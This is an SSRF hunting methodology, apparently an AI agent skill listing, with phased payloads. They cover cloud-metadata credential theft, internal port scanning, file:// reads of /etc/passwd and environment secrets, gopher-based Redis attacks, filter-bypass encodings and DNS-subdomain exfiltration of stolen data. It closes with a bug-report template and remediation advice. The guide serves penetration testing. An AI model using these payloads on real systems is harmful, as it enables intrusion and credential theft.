Ssrf Hunter

SSRF Hunter

Server-Side Request Forgery occurs when a server fetches a user-controlled URL, allowing attackers to reach internal services, cloud metadata, and resources behind firewalls that are otherwise inaccessible.

---

Phase 1 — Find Injection Points

SSRF lives anywhere the application fetches a remote resource based on user input. Cast a wide net.

1.1 Obvious URL Parameters

GET /fetch?url=https://example.com
GET /proxy?target=https://example.com
GET /preview?link=https://example.com
POST /webhook { "callback": "https://example.com" }

1.2 Less Obvious Parameters

• File import / export: ?source=, ?file=, ?import=, ?load=
• PDF / image rendering: ?pdf_url=, ?screenshot=, ?thumbnail=
• OAuth / redirect flows: redirect_uri=, next=, return_to=
• XML body: `, , ` — also check for XXE with SSRF
• Referrer header processing
• Custom headers: X-Forwarded-Host, X-Original-URL, X-Rewrite-URL
• Archive / sitemap crawlers: ?sitemap=, ?feed=
• Integration webhooks (Slack, Jira, CI/CD)

1.3 Non-URL Parameters That May Trigger Fetches

• Hostname: ?host=internal.server
• IP + Port: ?ip=10.0.0.1&port=6379
• Document ID that resolves to a path remotely

---

Phase 2 — Confirm SSRF (Baseline)

Use an OOB callback to detect blind SSRF before testing anything sensitive.

# Use Burp Collaborator, interactsh, or canarytokens.org
GET /fetch?url=https://YOUR-COLLABORATOR-ID.oastify.com

What to look for:

• DNS lookup hit on your callback → SSRF confirmed (DNS only, likely blind)
• HTTP request hit → full SSRF confirmed
• No hit + no error → blocked, move to bypasses
• 200 with response body → non-blind SSRF, most impactful

Response analysis: | Response | Interpretation | |---|---| | 200 + internal content | Non-blind SSRF, confirmed | | 200 + empty or error page | Possible SSRF, content filtered | | 502 Bad Gateway | Server reached target but got an error — SSRF exists | | Timeout (no 5xx) | Firewall blocking outbound, or target unreachable | | Connection refused | Server attempted the request, port closed | | DNS hit on OOB, no HTTP | Blind SSRF (DNS only) |

---

Phase 3 — Cloud Metadata Exploitation

If confirmed, go straight for credentials. See references/metadata-endpoints.md for full URL list.

AWS IMDSv1 (no auth required)

# Enumerate roles
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Steal credentials (replace ROLE-NAME with the role returned above)
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

Response contains AccessKeyId, SecretAccessKey, Token → full AWS API access.

AWS IMDSv2 (token required — two requests)

# Step 1: get token
GET /fetch?url=http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Step 2: use token
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: TOKEN

If the app strips or doesn't forward custom headers, IMDSv2 may block you — check if the app has a header forwarding mechanism.

GCP

GET /fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google

Azure

GET /fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true

# Managed identity token
GET /fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header: Metadata: true

---

Phase 4 — Internal Network Enumeration

4.1 Port Scan via SSRF

GET /fetch?url=http://127.0.0.1:22/    → SSH
GET /fetch?url=http://127.0.0.1:3306/  → MySQL
GET /fetch?url=http://127.0.0.1:5432/  → PostgreSQL
GET /fetch?url=http://127.0.0.1:6379/  → Redis
GET /fetch?url=http://127.0.0.1:9200/  → Elasticsearch
GET /fetch?url=http://127.0.0.1:27017/ → MongoDB
GET /fetch?url=http://127.0.0.1:8500/  → Consul
GET /fetch?url=http://127.0.0.1:2375/  → Docker API (unauthenticated)
GET /fetch?url=http://127.0.0.1:10250/ → Kubernetes kubelet

Use timing and response size differences to distinguish open from closed ports. For automation: python scripts/ssrf_agent.py --target-url https://app/fetch?url= --internal-ip 10.0.0.1

4.2 High-Value Internal Targets

http://localhost/server-status               → Apache status
http://localhost:8080/manager/html           → Tomcat manager
http://localhost:2375/v1.24/containers/json  → Docker API
http://localhost:10255/pods                  → Kubernetes kubelet (read-only)
http://localhost:8500/v1/agent/self          → Consul
http://localhost:9200/_cat/indices           → Elasticsearch

---

Phase 5 — Protocol Handler Abuse

If the application doesn't restrict URL schemes:

file:///etc/passwd                       → Local file read
file:///proc/self/environ                → Environment variables (often has secrets)
file:///var/www/html/config.php          → App config files
gopher://127.0.0.1:6379/_INFO%0d%0a     → Redis command injection
dict://127.0.0.1:6379/INFO              → Redis via dict protocol
gopher://127.0.0.1:25/_EHLO%20localhost → SMTP internal relay

Gopher → Redis RCE (no auth): Use gopherus to generate payloads for Redis, MySQL, SMTP, FastCGI:

gopherus --exploit redis

---

Phase 6 — Filter Bypass Techniques

When a WAF or allowlist blocks direct 169.254.169.254:

IP Encoding

http://2852039166/           → Decimal
http://0xa9fea9fe/           → Hex
http://0251.0376.0251.0376/  → Octal
http://[::ffff:169.254.169.254]/   → IPv6 mapped
http://169.254.169.254.nip.io/    → DNS-based (resolves after filter check)

Localhost Aliases

http://localhost/   http://0/   http://0.0.0.0/   http://127.1/

Redirect Chain

Host an open redirect on a whitelisted domain:

GET /fetch?url=https://allowed-domain.com/redirect?to=http://169.254.169.254/

DNS Rebinding

Domain initially resolves to allowlisted IP, rebinds to 169.254.169.254 after TTL. Tool: singularity

URL Confusion

http://evil.com\@169.254.169.254/
http://allowed.com:80@169.254.169.254/
http://169.254.169.254%09/
http://169.254.169.254%00allowed.com/

---

Phase 7 — Blind SSRF Escalation

When you only get OOB hits and no response body:

1. Timing-based port scan — open ports respond faster than filtered
2. DNS exfiltration — encode stolen data in subdomains: http://STOLEN.your-collab.net/
3. Chain with other bugs — blind SSRF + log injection → LFI → logs → RCE
4. IMDSv1 credential exfil — even blind, exfiltrate AWS creds via DNS-encoded subdomains
5. Find reflection points — error messages, redirect Location headers, or timing that leaks fetched content

---

Phase 8 — Automation

pip install requests

# Full scan: metadata + port scan + bypasses + protocol handlers
python scripts/ssrf_agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

# Custom internal IP
python scripts/ssrf_agent.py --target-url https://app.example.com/fetch?url= --internal-ip 10.0.0.1

---

Phase 9 — Report Structure

Title: SSRF on [endpoint] allows [cloud metadata theft / internal service access / file read]

Severity: [Critical / High / Medium]

Affected endpoint: [METHOD] [URL]

Steps to reproduce:
1. Send: [exact HTTP request]
2. Observe: [what was returned]

Impact:
- [e.g. "AWS IAM credentials leaked — AccessKeyId: AKIA..., full S3/EC2 access"]
- [or "Internal Redis at 127.0.0.1:6379 accessible, unauthenticated"]

Evidence:
- Request: [redacted HTTP request]
- Response: [snippet showing proof — credential fields, banner, internal response]

Remediation:
- Validate and allowlist outbound URLs server-side — block RFC 1918 and link-local (169.254.x.x)
- Enforce IMDSv2 and disable IMDSv1 at the cloud firewall level
- Restrict outbound HTTP to required domains via egress firewall
- Reject non-HTTP(S) schemes (file://, gopher://, dict://)
- Do not return raw fetched content to the user

---

Quick Priority Order

1. Cloud metadata (169.254.169.254) — always first, Critical if accessible
2. Internal Docker / Kubernetes APIs — unauthenticated daemon = instant RCE
3. Redis / database ports — no-auth services = data access or RCE via gopher
4. file:// — env vars, config files, secrets
5. Internal admin panels (Tomcat, Consul, Elasticsearch)
6. Blind SSRF — lower severity, worth chaining

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Rifteo
• Source: Rifteo/skills
• License: MIT

Install and usage instructions live in the source repository linked above.